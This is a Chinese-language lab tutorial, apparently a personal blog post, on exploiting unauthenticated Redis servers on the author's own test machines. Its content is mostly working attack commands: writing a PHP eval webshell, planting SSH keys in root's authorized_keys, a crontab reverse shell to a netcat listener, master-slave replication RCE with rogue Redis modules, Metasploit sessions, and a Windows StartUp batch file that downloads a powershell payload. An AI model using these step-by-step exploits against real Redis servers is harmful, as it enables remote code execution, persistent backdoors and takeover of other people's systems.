redis未授权访问漏洞
redis是什么
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
有什么问题
redis默认安装都是没有密码的,默认配置里bind 127.0.0.1,如果将bind开放到内网ip或直接0.0.0.0就会造成redis的未授权访问。
和其他数据库一样,redis支持导出备份文件,如果redis是以高权限用户(如root)运行的,就可以通过指定导出路径和文件名覆盖任意文件。而redis导出文件的内容是部分可控的,通过写入或覆盖一些有容错的文件就可以执行命令。
利用方法
写webshell
这种利用方式要求知道web目录。如果不知道只能拿常用目录去试。
先在192.168.5.130上开一个redis5,参考https://www.cnblogs.com/Neeo/articles/17609004.html
配置文件里bind改成192.168.5.130
然后在192.168.5.130上开一个php的网站
1 | apt install php7.4-cli |
kali预装了redis-cli,直接用kali(ip:192.168.5.130)
1 | redis-cli -h 192.168.5.130 -p 6379 |
自己刚搭的redis肯定是空的,实战环境看情况可以先清一下redis再写文件:
1 | flushall |
然后写文件:
1 | #指定文件内容 |
到/var/www/html/
下看看:
1 | root@ubuntu:/var/www/html# cat webshell.php |
连接试试
报500了,光换行还是不行,还是要闭合php标签
重写一个<?php eval($_POST['pass']);?>
连接成功:
写authorized_keys
安装sshd:
1 | apt install openssh-server |
apt装的sshd默认不允许root登录,改一下配置:
1 | vim /etc/ssh/sshd_config |
没有.ssh
文件夹,ssh localhost
生成sshRSA密钥对(kali上执行):
1 | ssh-keygen -t rsa -C "123" |
一定要-C
,或者就自己手动改.pub
文件,不然泄露主机名和用户名。用虚拟机还好,在物理机直接生成就要老命了。
然后写进redis:
1 | echo "\n"|cat - id_rsa.pub | redis-cli -h 192.168.5.130 -x set pub |
或者直接复制了用RedisDesktopManager的GUI写也行
RedisDesktopManager的console不转义,不好用,直接用GUI
设置路径和文件名,保存:
1 | config set dir /root/.ssh/ |
查看authorized_keys
1 | root@ubuntu:~/.ssh# cat authorized_keys |
ssh连接:
1 | ssh root@192.168.5.130 |
成功
写corntab反弹shell
ubuntu的crontab不行,遇到错误语法会报错,直接忽略配置文件
centos的crontab忽略错误的继续往下识别,可以用
用的都是Vixie Cron,不知道为什么会有区别
https://security.tencent.com/index.php/blog/msg/206
https://mirrors.huaweicloud.com/centos/7/isos/x86_64/
要开防火墙
1 | iptables -I INPUT -p tcp --dport 6379 -j ACCEPT |
kali监听:
1 | nc -nlvp 8888 |
连接redis后执行:
1 | #设置payload |
等一会儿就弹回来了
反弹shell不支持控制字符、不支持交互应用,一般都改造一下,python3 -c "import pty;pty.spawn('/bin/bash')"
CentOS7没有python3,python是python2,执行了也不支持控制字符
https://www.bilibili.com/video/BV1qp4y1Z7Pv
在反弹的shell里执行:
1 | /usr/bin/script -qc /bin/bash /dev/null |
主从复制RCE
原理是将目标redis设置为自己redis的从机,用全量复制在目标主机写入恶意so文件,然后在从机上加载恶意so文件执行恶意的扩展命令来执行系统命令。
有一个利用脚本,https://github.com/n0b0dyCN/redis-rogue-server,但是这个反弹shell有问题,退出了redis也跟着退出了。
1 | python ./redis-rogue-server.py --lhost 192.168.5.128 --rhost 192.168.5.134 |
i
是直接用redis加载的恶意命令执行,system.exec "whoami"
r
是反弹shell,会卡住redis,syste.rev ip port
加载的恶意so在redis-rogue-server-master/RedisModulesSDK/exp里,可以自己改了编译
1 |
|
msf里有一个利用模块
1 | ┌──(root㉿kali)-[~] |
也会卡住redis,其他的redis-cli不能正常交互,但是退出redis不会跟着退出。
原理是直接加载shellcode上线:
1 |
|
上线以后可以用web_delivery复制一个session,把redis的session退掉,redis就能正常交互了
windows下的利用
windows也能装redis
要开防火墙
window有个开启启动文件夹,路径是C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
或者:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
后者是指定用户登录时生效
启动时会执行目录下的所有文件,而bat文件是有容错的,所以可以往StartUp下写一个恶意的bat执行恶意文件上线
先用msf的web_delivery生成powershell马:
1 | msf6 > use exploit/multi/script/web_delivery |
然后用redis写到StartUp文件夹里:
1 | flushall |
要注意由于转义的原因目录分隔符要两个反斜杠,还有windows下的换行是\r\n
查看:
1 | C:\Users\Administrator>type "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\start.bat" |
注销重新登录,上线
1 | msf6 exploit(multi/script/web_delivery) > |
windows主从复制rce
windows的redis也能加载module,理论上也能导入自定义命令rce
已经有人写过了https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
1 |
|
改了一下redis-rogue-server,发现返回带中文不能正常用,开始怀疑是编码的问题,后来发现是返回的数据带空格,把中文字节分开了,去上面项目的exp.c
找输出部分:
1 | output = "{"; |
找到join,发现:
1 | char * join(char*s1, char*s2) { |
不太懂为什么要加空格,改掉
重新编译了一下,debug版本不行,必须要release版本,取消预编译头,去掉生成pdb文件
正常了
1 | python ./redis-rogue-server-windows.py --lhost 192.168.5.128 --rhost 192.168.5.132 --exp exp.dll |
还有一个问题,windows的dll在被占用的时候没法删除,删除就要unload恶意dll,unload之后就不能执行删除命令…
这个问题以后再说